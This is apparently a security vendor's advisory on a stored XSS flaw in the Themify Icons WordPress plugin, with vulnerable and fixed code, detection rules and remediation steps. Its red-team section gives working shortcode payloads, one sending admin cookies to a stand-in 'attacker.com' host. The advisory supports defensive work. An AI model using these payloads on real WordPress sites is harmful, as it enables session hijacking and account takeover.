CVE-2025-49395

Executive Summary

CVE-2025-49395 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Icons WordPress plugin (versions <= 2.0.3). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress admin dashboard or frontend pages where the plugin's icon shortcode is rendered. This can lead to session hijacking, defacement, or redirection to malicious sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is currently available, users must rely on manual mitigation (e.g., disabling the plugin or applying a WAF rule). The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (Admin must view the compromised page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored nature of the XSS increases persistence risk.

Deep Dive & Mechanics

The vulnerability exists in the themify-icons plugin's shortcode handling. The plugin registers a shortcode (e.g., [themify_icon]) that renders an icon based on user-provided attributes. The class or title attribute is not properly sanitized before being output in the HTML. An attacker with contributor-level access can inject a payload like:

[themify_icon class="fa fa-home\" onmouseover=\"alert('XSS')\""]

When the shortcode is processed, the unsanitized attribute is echoed directly into the page source, breaking out of the attribute context and executing the JavaScript event handler. The payload is stored in the WordPress database (post content) and executed every time the page is viewed.

Vulnerable vs. Patched Code

Vulnerable Code (themify-icons.php, line ~45):

function themify_icon_shortcode($atts) {
    $atts = shortcode_atts(array('class' => ''), $atts);
    return '<i class="' . $atts['class'] . '"></i>';
}

Patched Code (hypothetical):

function themify_icon_shortcode($atts) {
    $atts = shortcode_atts(array('class' => ''), $atts);
    $class = esc_attr($atts['class']);
    return '<i class="' . $class . '"></i>';
}

The fix uses esc_attr() to HTML-encode special characters, preventing attribute injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: WordPress site with Themify Icons <= 2.0.3, an account with Contributor role or higher.
2. Craft Payload: Create a post or page with the following shortcode:

   [themify_icon class="fa fa-home\" onfocus=\"alert(document.cookie)\" autofocus=\"autofocus\""]
   

3. Publish: Save the post as a draft or publish it.
4. Trigger: When an admin or editor views the post, the XSS fires, exfiltrating cookies or performing actions on their behalf.

Alternative Payload (Stealth):

[themify_icon class="fa fa-home\" onload=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\""]

Blue Team (Detection & Response)

1. Monitor Shortcode Usage: Look for posts containing [themify_icon with suspicious attributes (e.g., onmouseover, onfocus, onload).
2. Review User Activity: Check for recent posts/pages created by low-privilege users that contain the vulnerable shortcode.
3. WAF Rule: Block requests containing [themify_icon followed by on*= in the post content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/themify-icons/themify-icons.php (version <= 2.0.3)
• Database: Posts/pages containing [themify_icon with on*= attributes
• Network: Outbound connections to attacker-controlled domains from WordPress admin
• Logs: WordPress debug log entries showing esc_attr failures or shortcode parsing errors

Detection Engineering

YARA Rule

rule CVE_2025_49395_Themify_Icons_XSS {
    meta:
        description = "Detects stored XSS payloads in Themify Icons shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49395"
    strings:
        $shortcode = /\[themify_icon[^\]]*?on\w+\s*=\s*["']/
    condition:
        $shortcode
}

Sigma Rule

title: Stored XSS via Themify Icons Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious Themify Icons shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-admin/post.php"
        http.body|contains: "[themify_icon"
        http.body|re: "on\\w+\\s*="
    condition: selection
falsepositives:
    - Legitimate use of event handlers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49395 Themify Icons Stored XSS"; flow:to_server; content:"[themify_icon"; pcre:"/on\w+\s*=\s*[\"']/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Themify Icons plugin until a patch is released.
2. Workaround: Add a WAF rule to block shortcodes containing on*= attributes.
3. Long-term: Monitor the plugin's repository for an update. If none is provided, consider replacing the plugin with an alternative.
4. User Education: Restrict contributor-level access to trusted users only.

Valters IT
Securing digital frontiers, one CVE at a time.